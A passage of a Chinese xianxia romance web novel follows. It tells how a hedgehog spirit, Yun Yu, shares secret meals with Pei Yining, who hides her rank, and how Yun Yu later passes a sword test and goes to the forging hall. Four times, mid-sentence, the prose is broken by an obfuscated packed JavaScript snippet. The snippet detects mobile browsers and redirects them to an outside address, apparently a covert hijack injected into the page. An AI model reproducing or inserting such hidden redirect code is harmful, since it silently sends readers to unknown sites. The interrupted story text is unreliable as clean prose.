云榆懒懒地“嗯”了声。 无法言明的感觉升起,裴依宁唇角扬起,温和的嗓音染上点点笑意:“我会为星星保密的。” 云榆又是“嗯”了声,随后慢悠悠地哼道:“反正你不知道我人形。” 裴依宁笑着应了声。 手上一轻,小刺猬从她掌心跳下,裴依宁呼吸也轻了拍。 “那位师姐刚才吓我一跳,”小刺猬在地上寻找什么,“她喊的是好像是什么师姐,我还以为肯定会被发现呢。” 若是还有另一位师姐在,宁依定然不能像刚才那般,将一只手背在身后。 她暗自庆幸。 裴依宁顺着她的话说:“想来是纳兰师姐看错了。” 她见小刺猬还在寻找着,小鼻子一动一动地,蹲下身问:“星星,你在找什么?” 小刺猬道:“刚才掉下的蓝莓。” 她扒拉着草地,终于找到了藏在几根叶片下的深紫色的圆形果子。 小刺猬视若珍宝的双爪捧起,吹了吹,又从空间储物中取出帕子,擦拭完调用灵力,清理干净表面。 她嘴一张,咽了下去。 快得裴依宁来不及阻止。 小刺猬舔了下唇,心满意足地:“还好,找到了。” 话音刚落,下巴被人抬起,小刺猬被迫仰起头,瞳孔中倒映出面前人的模样。 裴依宁抹去小刺猬唇边毛发上的汁液,轻声道:“掉地上就不要捡了,不是什么稀罕物。” 被人这般温柔对待,在记忆中已经过去了许久,好不容易止住的酸涩涌上来。 小刺猬咬住舌尖,刺痛将眼眶中的液体逼退,被裴依宁左右擦拭干净,她才道:“不能浪费食物。” 气息降下:“不是所有的妖都有吃的,也不是所有的妖都能一直 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14824604|158791||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 吃到东西。” 裴依宁指腹轻按在小刺猬的脸颊,又见小刺猬垂下脑袋,声音从下面飘上来:“而且,这是宁依送给我的惊喜,惊喜是要被妖认真对待的。” 小刺猬眼睛亮晶晶的,幼稚而又倔强地道:“不管是不是稀罕物。” 一股电流顺着脊椎上爬,裴依宁一瞬不瞬地盯着小刺猬勾在一起的爪子,视线移动,落在小刺猬微微发红的耳朵上。 半响后,她点了下小刺猬的额头。 这只小刺猬,比她想象中的更加让人心软,原打算今日碰到了小刺猬的人形,后面找个时间向小刺猬吐露身份。 可现在,她忽然放弃了这种念头,她不确定小刺猬知道了她的身份,还会不会如现在这般与她一起,会不会躲着她。 又或者从她当着小刺猬的面,叫纳兰然师姐的时候,就做好了决定。 裴依宁蹲在小刺猬身前,将木盒重新放过去:“星星有别的喜欢吃的食物吗?” 小刺猬跳上了木盒,有了木盒的高度叠加,她不必扬头太多:“什么都可以吗?” 裴依宁:“什么都可以。” 小刺猬五官展开,一只爪子横放在肚子上,另一只爪子摸着下巴,一幅沉思状。 裴依宁不打扰她,只是此地毕竟是进入灵丹堂的必由之路,她一直待在这过于引人注目了。 若是再有师妹喊她,就不好了。 她连带着站在木盒上的小刺猬一同端起,往另一边去。 小刺猬骤然升高,眼一瞥就知道发生了什么。裴依宁的手很稳,她几乎感觉不到晃动。 “宁依,我想喝汤。”小刺猬索性坐在了木盒边上,两条小短腿悬空晃晃悠悠地,“骨汤,鱼汤都可以。” 她不擅长做饭,之前尝试过几次,无一例外,皆是以失败告终,不然也不至于生食那些药材。 她没什么忌口:“什么汤都可以。” 裴依宁记下:“这只是汤,菜呢?有什么想吃的吗?” 云榆想了想:“肉……” 裴依宁:“具体的呢?” 云榆小短腿不晃了:“我不知道有什么好吃的……” 剑法阁虽也有饭菜,但修行之人少有注重口腹之欲的,味道可以用寡淡来形容,绕是她不挑食,也吃不下去多少。 至于有注重口腹之欲,会做饭的,她也不好意思去蹭,怕给别人带来麻烦。 只有每个月发放灵石了,她才有资本花费些灵石出宗吃顿好的。 但近两个月,她修炼所需,只能节省灵石,未能出宗。 本打算这个月出宗为自己加餐,可刚到手的灵石已经用了一半,她舍不得了。 毕竟还要修炼。 没吃过多少美食,如今宁依问她,她倒是说不出个所以然了。 裴依宁眉心微蹙,想问小刺猬入宗前吃过什么,可小刺猬趴在地上寻找掉落的蓝莓时的身影以及说的话浮现在脑海。 她咽下了问话。 “你做什么,”小刺猬笑道,“我吃什么。” 裴依宁:“以后都做一遍,这样星星就知道自己喜欢吃什么了。” 小刺猬信任她的厨艺:“你做的我都喜欢。” 连平平无奇的药膳都能做的那么好吃,其它的定不会差。 裴依宁道:“总有最喜欢吃的,就像星星最喜欢的水果是蓝莓。” 8. 第八章 放眼望去,灵丹堂一片郁郁葱葱,皆是各类植被药株。 行到一处长亭,裴依宁将木盒放置在墨色石桌上。 溪水自长亭下穿行而过,水流不大,清澈见底,阳光直直地射入最底处。遇上凸出的石块,溪流被分割成两片,又在石块尽头处汇集。 裴依宁自幼生活在此,眼前的景象她见过无数遍,年幼时还会同几位至交好友下水玩闹。 可现在,她一瞬不瞬地望着流动的溪水,心头被无形的东西哽住。 小刺猬从木盒上跳下,寻着裴依宁的视线看过去,她忍不住往前挪动几步,四肢弯曲,而后猛地一蹬。 有灵力在半空中垫着,她顺利跳到围栏上,低头一看。 粼粼波光闪动,云榆惊奇地道:“宁依,灵丹堂内的水比其它峰阁的要有灵气的多。” 催动灵力,可感知到丝丝缕缕的灵气如雾气包裹,漂浮在河流上方。 裴依宁回过神,悄然走到小刺猬身后,手臂搭在围栏上,恰好将小刺猬围住:“有的药株娇贵,一般水无法养活。这条溪流,是特意牵引出的。” 想到无意中听说过的药株价格,云榆嘴角抽搐,暗自感慨灵丹堂的财大气粗。 “对了,宁依,”小刺猬这才发现立于身后的人,她微微愣了下,在裴依宁询问的目光下,道,“你有什么事要忙吗?我会不会打扰到你。” 若是因为她,耽误了事就不好了。 裴依宁唇边翘起一抹弧度,态度温和:“不会。” 云榆避开裴依宁的手臂,跳回到石桌上,抬爪打开木盒,捏出数粒蓝莓放于桌面,而后盖上木盒。 一个念动,木盒消失,被她放进空间储物中。 小刺猬懒洋洋地趴下,摊开的爪子时不时捏起一粒蓝莓。 裴依宁坐在石凳上,提醒:“一次性不要食用过多。” 闻言,云榆想了想,将桌上剩余的蓝莓拢到一起,一并推了过去:“木盒收起来了,懒得再拿出来,宁依帮我把剩余的吃了吧。” 她说得理所当然,裴依宁无奈含笑,倒也没有真的去吃,反倒是一粒粒地喂进小刺猬的嘴里:“这些可以吃完,不算多。” 喂完最后一粒蓝莓,小刺猬没了说话的念头,板鸭趴着,无比放松。 她后背拢着的刺完全暴露在裴依宁眼前,刺尖带着一点白,像是刚换不久的新刺。 裴依宁支起手肘,手背轻轻地抵在唇上。 约莫一炷香的功夫,板鸭趴的小刺猬一个翻身爬起。 裴依宁眼皮一颤,浅棕色的瞳孔中有异芒闪过:“星星?” 云榆收到了卞凝的传音。 今日还有剑招未能学会,不能再耽误时间了,吃饱的小刺猬象征性地拍了拍柔软的肚皮:“宁依,我还有事要处理,我们下次见。” 裴依宁拇指擦过食指指节,又升出摸一摸小刺猬肚子的想法,她顿了下,克制着收回念想,起身:“我送你。” 小刺猬摆摆手:“不用,你忙吧,我自己就回去了,”担心裴依宁一定要送自己,小刺猬板起脸,“你送我,我还要顾及你,很影响我速度的。” 裴依宁只好作罢,目送小刺猬缩成一团,犹如刺球般在石桌上滚动两圈,掉落在地,旋即以肉眼可见的快速在外围的草地中窜动。 直至不见。 裴依宁收回目光,思绪游离了几分。她走到围栏边。手一抬,溪水翻涌,浪花扬起,一条水柱直冲云霄,又极快降落,溅起无数水花。 一条通体青黑色的灵鱼被轻而易举地托举至半空,裴依宁视线上移,灵鱼被水流裹挟,一并收入储物中。 * 快到剑法阁,云榆找了个僻静的地方化回人形,堂而皇之地踏上峰阁的路,走了几步,她扬头,望了眼高耸的峰脉,催动灵力,直直地飞了上去。 甫一露面,就瞧见站在剑法阁峰阁边上的卞凝,她吓了一跳,操控的灵力差点失控。 站稳脚跟,云榆嬉笑着凑过去:“怎么在此处等我?应滟呢?” “她去和师姐报平安了。”卞凝上上下下打量她,见她身上没添新物,反问,“你身体怎么了?” 云榆心知是找的烂借口被问了,打着哈哈绕过去:“没什么事,就是修炼疲乏了,想问问师姐有无缓和之法。” 她边说边往前走,抽了个话题:“今日师姐说的剑招,你学了几成?” 卞凝道:“一成吧,待这套剑招学成,便可让器物堂的师姐为我们铸造佩剑了。”她心生向往,握拳,“十日之内,我定然要掌握这套剑招。” 云榆也是这样想的,身为剑修,她渴望拥有独属于自己的佩剑。当初入宗时,师姐们用剑的身形至今停留在她的脑海中。 太过飘逸了,她也想有这样的本领。 等她们二人回去时,一位师姐正在演示今日新教的剑招,见状,云榆和卞凝急忙静下心,混入一众新弟子中。 一套招式行云流水,云榆看得目不转睛。待到师姐收剑,她才意犹未尽地回过神。 杜寻雁巡视下首一圈,眼尖地瞅见不久前溜过来的两人:“看懂了吗?” 下首众师妹齐声:“看懂了。” 杜寻雁点点头:“能将完整剑招流畅使出的,可来演示给我看。” 同门四散开来,各自练习。 云榆刚举过头顶的手放了下来。 算了,今日练剑前已经看过一遍了,她掌握了七七八八,届时去和卞凝对对忘记的部分。 正想着,头顶被冷芒佛过,云榆下意识惊起,往后退了半步。 杜寻雁已经来到她的身前。 正准备拉着云榆去练剑的卞凝躬身一礼:“杜师姐。” 杜寻雁扫过她二人,长剑转动,寒芒炸起:“你们来晚了,开始的并未看见,我为你们再示范一遍,看仔细了。” 云榆心中一喜,忙要感谢,可杜寻雁不给她机会。 杜寻雁爆退十数步,脚步扎实,手腕舞动,一道道剑啸声响起,重头将这套剑招顺下。 云榆集中注意力,跟随师姐的步伐,小幅度地舞动手腕,偶尔,眼中会露出惊叹感概之色。 最后一式落下,杜寻雁抽剑置于身后:“看懂了吗?” 云榆和卞凝对视一眼,两人道:“看懂了,多谢师姐。” 杜寻雁不在意地摆摆手,道:“都是同宗师姐妹,有不懂的直接问便可,不用畏首畏脑,有所顾忌。” 云榆微动,知晓这句话是说给她听的。 杜师姐看见了她举手的动作。 云榆忙应 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14824605|158791||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 下:“是,师姐。” 有了杜寻雁的二次示范,这套剑招云榆已完全记下,但记下与能施展出是两回事。 挑剑时的高度,刺尖时的力度还是不够,常常让她暗自苦恼。 好在因杜寻雁那句话,云榆每每遇见参悟不透的,便是主动询问当日的带教师姐。 师姐们亦是耐心教导,为她答疑解惑。 一来一回,五日光阴过去。她对这套剑招掌握的差不多了。 于是,她打算吃好顿好的,第二日再去演示给师姐们看。 提前告知卞凝今夜不去练剑后,她趁夜化成原形,后背拢起的刺竖起,刺尖温度不断增高。 与此同时,灵丹堂内的一处殿阁内,正在挑选炼丹药材的裴依宁感知到什么,停下动作。 她侧目,隔着重重墙壁,看向膳食堂的方向。 纳兰然正拿着一柄小秤,装瓶研磨成粉,留作备用的药材。 余光瞥见裴师姐不动,以为是哪里做错了,谨慎地检查秤杆上药粉的成色和种类。 裴依宁无心留意她,自空间储物中取出一样挂着绳的物件,合于掌心。 温凉的刺一点点变热。 是小刺猬约她了。 时隔五日的相约。 裴依宁柔和的眉眼中闪过细碎的笑意,将那根刺重新放好,转身离去。 纳兰然茫然地眨眨眼,疑惑地歪过头,继续称量药粉。不料,浅淡的气息又转了回来。 “纳兰师妹,”裴依宁在喊她,“你那里可有简单的吃食?” 她这几日寻了几样食材,也找了几种水果,可还是觉得不够。 最好是给小刺猬一些方便带走的食物,留作日常食用。 “我这有几盒糕点,”纳兰然凭空取出两盒用油纸包裹严整甜食,“师姐看可以吗?” 裴依宁接过:“多谢纳兰师妹。” 纳兰然:“师姐不用客气。” 忽地想到上次裴依宁唤她师姐的场景,额头冒起冷意,只希求裴师姐以后不要这般吓她了。 膳食堂内,小刺猬借着黑暗躲在桌脚后,闲得无聊等裴依宁的间隙,她揪着身体两侧的刺,来回抚摸。 宁依会不会在忙,没收到她的信号。 小刺猬蹙起眉,宁依是灵丹堂的新弟子,极有可能在熬夜学习炼丹的知识,就像今夜本该去练剑的她一样。 小刺猬叹息一声,暗道先前给宁依刺时考虑不足。 她决定等一个时辰,一个时辰,若是宁依不来,她就回去,或者化为人形,故作来灵丹堂求药的样子,看看宁依再走。 然而,不过半刻钟的功夫,膳食堂外传来不加掩饰的脚步声,似乎是在提醒堂内的小刺猬,有人来了。 为防止是她人,小刺猬没有冒然现身。 等到膳食堂的门打开,躲在桌脚后的小刺猬看清端着烛台进入的人是裴依宁后,她跳上最中央的长桌,双爪环抱,一只脚向前伸出,傲娇地扬起脑袋。 裴依宁合上门,看见的就是端着一副神气在在的小刺猬。 几日不见,小刺猬越发可爱了。 她端着烛台走进,不忘扔出禁锢空间的符纸,好让小刺猬安心。 裴依宁歉意地放好烛台:“我来晚了,让星星久等了。” 9. 第九章 摆好姿势的小刺猬没料到她一来就是道歉,伸出的小脚默默收回,环抱的小爪子也默默放下,无事发生般地抵住嘴巴哼唧了两声。 小刺猬扭捏地道:“不晚,我也刚来。” 全程看着小刺猬变化的裴依宁笑了笑,环顾了一圈,没急着将食材拿出。 她弯下腰,双手背在身后,与小刺猬的高度平行,方才道:“星星这几日很忙吗?” 小刺猬点下头,半真半假地道:“忙着修炼,今日才得空出来。” 提及这个,小刺猬略有成就感,她是几位新入剑法阁的弟子中,最快掌握剑招的,不出意外,也将会成为第一位拥有佩剑的。 她想将这个好消息分享给面前的人,又怕暴露自己,只能生生忍住。 裴依宁瞧出了小刺猬的欲言又止,她直起身,从空间储物中取出装有各类水果的方盘,又取出纳兰然给的两包糕点,一并放在小刺猬身前。 “我打听了,明早的药膳不在这里制作,星星今晚可以晚些回去,”处理干净的灵鱼和灵肉被放到有锅台的位置,裴依宁道,“饭菜还没做好,星星先吃点东西垫垫,别饿到了。” 她洗了手,擦干水渍,解开其中一包油纸,清甜的香气瞬间充斥在空气中,甜而不腻。 小刺猬鼻子不受控制地耸动,嗅着这股香甜,她咽下口水,两眼放光。 乳白色的糕点上点缀着一朵花瓣的形状,更显精美。 小刺猬很少吃糕点,这种东西对她来说,价格不菲。 同种价格,可以换取更多别的食物。 裴依宁捏起一块,递给小刺猬:“但也别吃多了,不然等会可就吃不下别的了。” 小刺猬抿唇,没有接。 裴依宁手臂低了些:“不喜欢吗?” 可在糕点打开时,小刺猬的眼神和表情不会撒谎。 是不想让她喂? 裴依宁指尖微动,白色的粉末沾在指腹。 云榆忍住想要抬起的爪子,又咽了下:“太贵重了,宁依留着自己吃吧。” 宁依的脸色比上次分别时好了许多,是这几日调养好的原因。 小刺猬说着违心话:“我不喜欢吃这些。” 眼里写满了想吃,却还在拒绝,裴依宁想笑,又觉得心疼。 她道:“纳兰师姐给我的,我吃不完,星星不吃的话,就只能浪费了。” 小刺猬怀疑:“不是你买的?” 裴依宁道:“我这几日没有出宗。” 小刺猬盯着裴依宁的眼睛,想从中看出一二,但裴依宁的眼中,只倒映着她小小的身形。 不像是说谎的。 小刺猬信了,还是再确定了下:“可以放着以后吃。” 裴依宁道:“放久了会坏。” 那种放进去是什么样,拿出来还是什么样的空间储物价格极其昂贵,不是新弟子可以负担的起的。 小刺猬没有怀疑,两只小爪子抱住糕点,难掩喜悦:“谢谢宁依。” 裴依宁曲指抚过小刺猬的脸颊,毛茸茸的,触碰到的部位有几分痒意。 小刺猬两颊鼓起,圆滚滚的身体轻微晃动。 裴依宁先处理了灵鱼,小刺猬上次说要喝鱼汤,她切了块豆腐,准备做个简单的豆腐鱼汤。 至于肉…… 她扭头,吃完一块糕点的小刺猬正在包油纸。 许是注意到她的目光,小刺猬抬起头,爪子不停地系油纸上的绳子。 视线对上,小刺猬不好意思地咧嘴:“先系上。” 她怕被香气引诱,抵抗不了诱惑力。但她要留出肚子,吃宁依为她准备的佳肴。 猜出小刺猬的想法,裴依宁弯唇,故意逗她:“星星可以吃红烧肉吗?” 云榆系好了绳子,茫然道:“当然可以。” 人可以吃的,她都可以吃。 裴依宁切块:“小刺猬也可以吃吗?” 云榆后知后觉意识到裴依宁潜在的意思,咬牙:“宁依!” 裴依宁笑着起火:“我错了。” 云榆不接受:“没用。” 竟然敢用言语欺负小刺猬。 裴依宁将提前准备的药株切块:“那怎么做星星才能原谅我?” 云榆气闷闷地凑到裴依宁附近,与食材隔着一段距离:“你今晚的手艺,决定我要不要原谅你。” 裴依宁软声:“好。” 云榆赖在这不走了,洗净的水果也吸引不了她的注意力。 裴依宁递了块切好的药株给小刺猬解馋。 小刺猬抱住,咬下就发觉不对,里面蕴含的灵气不像是低品质的药株可以有的。 她松嘴,药株上留下两排牙印:“这药株……” 裴依宁面不改色:“师姐给我的,有什么不对吗?” 师姐给的就没问题。 小刺猬对着牙印痕迹咬下:“没事。” 过于好糊弄了,裴依宁垂下眸子。 小半个时辰后,一碟红烧肉,一碟清蒸药株,一碗豆腐鱼汤端出。 食欲被完全勾起,小刺猬来来回回地跟着裴依宁端盘跳动。 忙忙碌碌,来回蹦跳。在又一次跟着动时,裴依宁无奈地摁住小刺猬的脑袋:“饭前不要大量运动,对身体不好。” 她给小刺猬盛了碗鱼汤。 云榆眼巴巴地等着那碗鱼汤到自己面前,可碗还没放稳,又被裴依宁收了回去。 小刺猬一瞬间睁大了眼睛,诧异,震惊…… 所有的情绪铺在脸上。 “等等。”裴依宁捏着筷子,将鱼肉中的刺挑出。 她观察过,小刺猬不擅长用筷子,应该是受到刺猬形的影响,一双筷子,比小刺猬还要高上不少。 挑完刺,她放了个小汤勺在碗中,将碗重新放到小刺猬面前:“星星,尝尝好不好吃。” 云榆耳朵红红的,被裴依宁的体贴暖到:“谢谢你,宁依。” 面前的人,短短几次碰面,就让她卸下了防备。 裴依宁莞尔:“不用客气,”她顿了顿,“我是你的小跟班,不是吗?” 谁家小跟班这么细心体贴,这么有能力啊。 云榆只觉得自己走了天大的运气,捡到宁依这么一块宝。 “小心烫。”裴依宁提醒。 她换了个碗给小刺猬夹菜。 小刺猬吃得太杂了,她不知道对方的口味,又因为只有她和小刺猬吃,做多了吃不掉,便按照两人份的量做的菜。 荤素搭配,还有汤,算是不错的一顿饭。 小刺猬先前还会顾及形象,到了后面,嘴巴周围都是沾到的油,汤碗中也被溅到了些许油点子。 裴依宁吃相斯文,不时用公筷为小刺猬夹菜。 饭后,小刺猬摸着肚子瘫倒,彻底臣服在裴依宁的手艺中。 裴依宁收拾好回来,小刺猬还是原样不动地躺着,她问:“好吃吗?” 小刺猬点点头。 裴依宁又问:“可以原谅我了吗?” 还记着呢,小刺猬傲娇地:“小刺猬可没那么记仇。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14824606|158791||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 裴依宁笑而不语。 回味刚吃的这顿,云榆只觉无论是鱼还是肉,都不是低品级的。 药株是师姐给的,那鱼和肉呢。 她眼皮跳动,宁依该不会把她给的那些灵石全用来买这些了吧。 结合对方的行为,云榆越想越觉得有可能。 但吃都吃了。 云榆翻了个身,侧身对着裴依宁:“我上次给你的药吃完了吧。” 一日一粒,算算时间,前两日就应该吃完了。 这药效看着还不错,宁依精神好了许多,没了初见时,病殃殃的感觉。 改明再去买点,身体调养好才是最重要的。 裴依宁道:“嗯,吃完了。” 每次吃前,她还要用灵力二度炼化。 一品丹药,她连药炉都不用起。 云榆探身捏了粒草莓入口:“我明天再给你送一瓶来。” “不用。”裴依宁拒绝。 小刺猬是剑法阁的新弟子,她这两日有意无意地听到有关剑法阁的事。 剑法阁每月给新弟子的灵石只有一百枚。 小刺猬买丹药花了些,那夜又给了她二十枚。 若是再给她买一瓶药,她都不知道小刺猬这个月要如何渡过了。 只顾别人,不顾自己的小刺猬。 裴依宁道:“灵丹堂的师姐们已经为我炼制了丹药,星星不用再去买了。” 云榆一想也对,没再坚持。 “宁依,你是不是挺受你们灵丹堂的师姐喜欢的?”云榆指出,“又是送你符纸,又是给你糕点,药株的。” 单是她知道的东西就不少。 不过宁依这么温柔耐心,受师姐们欢迎很正常。 云榆关心她别的:“你在这学得如何?可有什么不懂的?” 她有种比自己修炼还要急切的感觉。 裴依宁一一回答:“学得还行,暂时没有不懂的。” 云榆:“那就好,有不懂的多问问师姐们,不用不好意思。问题解决了,才能更好的进步。” 裴依宁笑着应“是”。 吃饱喝足,云榆准备离开了,回去还要为白日演示的剑招做准备。 她从空间储物中取出二十枚灵石,丢给裴依宁:“给你的,你留着用,刚入宗,需要的东西不少,哪里都要用灵石。”她想了想,委婉道,“用在你自己身上。” 别买这些高品阶的食材了,太浪费了。 虽然很好吃。 裴依宁心底暗叹一声,小刺猬是真的一点都不顾及后面的日子了。 依照这样,小刺猬剩下的灵石怎么过完二十几日。 她将装有灵石的布袋递还回去:“星星,不用给我,我有灵石。” 小刺猬摇摇爪子:“你有是你的,这是我给你的,不一样。” 小刺猬将两包糕点放入空间储物,生怕裴依宁不收似的:“就当是我买这两份糕点了。” 她道:“你都给我做饭了,我怎么能再占小跟班别的便宜。” 小刺猬挥爪:“给你的那根刺记得收好,下次见,我会提前两个时辰催动给你的那根刺。刺会一直热着,直到你往里面注入灵力。” 她缓了下:“如果你当夜没时间,就不用往里面注入灵力了。” 裴依宁无法,只能收下小刺猬给的二十枚灵石:“我知道了,星星。” “对了,”几个呼吸的功夫,小刺猬爬上了窗沿边,离开前,她问:“你有向那位裴师姐请教过问题吗?” 10. 第十章 夜色浓重,云榆回到居所,将木窗掀开一点,透着从缝隙中闯入的微末月光,她从床铺里侧取出一柄长剑。 是木质的。 木剑表面被打磨的光滑,剑柄底部,篆刻有“星星”两个小字。木剑内并无灵力,看起来更像是赏玩之物。 云榆抚摸剑身,片刻后,她将周围的物件移开,腾出一片较为空旷之所。 她握紧剑柄,回忆这几日所学剑法,一招一式地舞动,为白日演示给师姐们看做足准备。 时间越是临近,她的心越是激动,也越是忐忑不安。 全无表面的云淡风轻。 细密的汗水趴在额头,云榆一遍遍地重复那套剑招,木剑无法挥出剑气,但这不影响她舞剑的流畅性。 直到最后一遍,这套剑招在剑法阁师姐的注视下,以极高的完整度完成。 云榆面色微红,喘息着收回剑。 站在一旁的卞凝悄悄给她竖了个大拇指,做了个“好厉害”的口型。 云榆跳动不安的心稍稍放下,她自是知晓刚才并无错漏,甚至发挥地很不错。 但最终能否通过,还是要看师姐的意思。 云榆紧张地抿住唇,期待地望向位于安全区域的师姐。 几位师姐正低声交谈着,时不时抬头望一眼云榆。 很快,杜寻雁走向她,对着她伸出手。 云榆愣了下,杜寻雁指了下她紧握不放的铁剑,道:“还想一直用这把剑?” 听出言外之意的云榆立刻将手中铁剑递出,她克制住将要溢出的欣喜:“杜师姐,我……”她舔了下唇,“我通过了吗?” 明知故问。 杜寻雁感受的到她的喜悦,没有隐瞒:“通过了,不过届时还需在器物堂的人面前再来一遍,她们由此铸造出符合你的佩剑。” 云榆重重点头,又问:“师姐,我们什么时候去剑法阁?” 杜寻雁扫了圈附近与云榆同批入宗的师妹们。 莫非要等所有的人都掌握了这套剑招,一起去铸剑,这样的确更省时间。 想到这个可能,云榆的喜悦被浇灭了点。 并非不愿与同门一起,她观察过,这些同门中,最慢的也掌握了五成,约莫再过几日,就能全部通过。 再等上几日…… 云榆不愿过多麻烦师姐,道:“杜师姐,我不急。师姐可以过几日一同带我们去器物堂。” 哪知杜寻雁奇怪地看了她一眼:“为什么要过几日?你今日既已通过,便今日先带你去铸剑。” 说罢,杜寻雁与她身后的一位师姐低声说了几句,随后对云榆挥了下手:“走吧。” 立于长剑之上,下方的一切都变得渺小,天地被拉开,云层漂浮。 云榆难掩新奇,她站着杜寻雁身后,小幅度地低头,左看右看。 流动的空气拂过她的长发,又带动着扑在她的脸上,云榆偏过头,扒开发丝,克制的笑容浮现。 这就是御剑飞行,是与用灵力小范围的直来直往完全不同的感受。 杜寻雁操控着长剑,声音被风吹到身后:“御剑飞行,先带你感受一下,很简单的术法,等你的剑铸造完成,就可以尝试自行御剑了。” 云榆攥着扬起的衣袖:“嗯嗯。” 察觉到师妹的紧张,杜寻雁御剑速度降下。 不远处就是器物堂,她脚尖点过剑身,凌空翻身,云榆视线跟着抬起,再一回神,杜寻雁已经跃至她的身后。 云榆下意识要转身,被杜寻雁按住肩膀,登时动弹不得了。 杜寻雁道:“感受一下御剑,试着掌控这把剑,静下心。” 云榆悸动的心跟随着杜寻雁的话一点点平稳。 她不是佩剑的主人,不过是杜师姐在让她放轻松,她深呼吸,缓慢地吐出,往前挪动几步,来到先前杜寻雁站的位置。 她身子偏偏一侧,剑身跟着微侧,她又侧向另一边,剑身亦是跟着侧过去。 好神奇。云榆睁圆了眼睛。 身后杜寻雁用灵识悄无声息地控制着剑。 快到器物堂,两人位置换了回来,杜寻雁控制着剑降落:“觉得如何?” 在问她御剑的感受,云榆语气中难掩向往:“感觉身体轻飘飘的,像是……”她形容不出来,眉毛拧在一起,“像是踩在云上。” 杜寻雁被她的说法逗得哈哈大笑。 云榆第一次见到杜师姐的另一面,远没有带着她们修炼时的严肃,像是换了一个人。 杜寻雁笑够了,直起腰,长剑悬浮在器物堂峰阁数丈高的位置:“既然喜欢,为何要说等其她师妹一同铸剑。” 她又变回那个教导严厉的师姐,只是语气柔和了许多:“宗门内鼓励良性竞争,你既有能力第一个学会,理应第一个铸剑。” “每个人的修炼天赋不一样,你总不能一直等待别人,迎合别人,而忽略了自己的利益。” 带教的这几个月,这位师妹的刻苦她看在眼里。 还是个心性纯良的,会牺牲休息时间帮助进度缓慢的同门。 但自身却很少麻烦别人,剑招通过,明明眼睛里都是将要拥有佩剑的喜意,却硬生生克制住。 她软了声,开玩笑地说:“更不要怕麻烦我们,毕竟……”她笑意加深,“我们是你师姐啊。” 暖意流淌,心思被人轻而易举地挑开,云榆轻咬下唇。 入宗以来,她收获了很多从前没有的温暖,她珍重无比又小心翼翼。 长剑近乎贴地,杜寻雁先一步下剑,对 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14824607|158791||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着还在失神的人道:“你应当是第一次来器物堂,等会演示的时候不要紧张,像在剑法阁一样。” 云榆跟在杜寻雁身后,“嗯嗯”地应着。 器物堂的人在杜寻雁来之前就收到了后者的传音,一名器物堂的弟子已经等在峰阁外。 见到杜寻雁,她迎了上去,唤了声“杜师姐”后,带着两人往器物堂内走去。 越是临近,越是紧张,云榆掌心分泌出薄汗,指尖嵌入掌心,留下一串月牙形。 引到专属的殿内,举目四望,空旷无比,只有一座连接地面和殿内梁柱的炉子摆放在一面墙的中央。 引她们来的弟子道:“风师姐现在正与裴师姐在一起,还请杜师姐稍等片刻。” 云榆莫名眼皮跳动了下。 杜寻雁惊讶:“裴师姐也在?” 云榆不由得问:“杜师姐,你和裴师姐认识吗?” 杜寻雁蹙眉:“算是认识,但裴师姐一门心思专研丹术,极少露面。我们又是不同峰阁的,上次见,约莫四五年前了吧。” “这么久。”云榆咋舌。 杜寻雁道:“对于修炼之人来说,四五年,不过弹指一挥,算不得久。” 正说着,杜寻雁感知到什么,噤了声,直直地看向殿门。 云榆不明就以地看过去,视线陡然间凝固。 一头银发的女子踏着日光而来,影子在身后窝缩成小团。女子脸上挂着柔和的笑意,一身绿衣更是衬得她生机盎然。 “杜师妹。”风浅念笑意盈盈地将目光转到杜寻雁身后侧的人,“这位是……云榆,云师妹?” 云榆不认识眼前人,但根据引她们来的弟子的说法,这人应当是:“风师姐。” 风浅念站定在她们二人两米远的位置,扭头看了眼殿门外。 那里有一层很浅很淡的影子。 风浅念笑道:“云师妹的灵珠是什么属性的?” “水属性。”云榆道。 水属性,小刺猬是水属性的。 殿门外的人掀起眼帘。 裴依宁原是来器物堂寻一顶好用的炼丹炉,随后听风浅念说,杜寻雁要带一位剑法阁的新弟子过来铸剑。 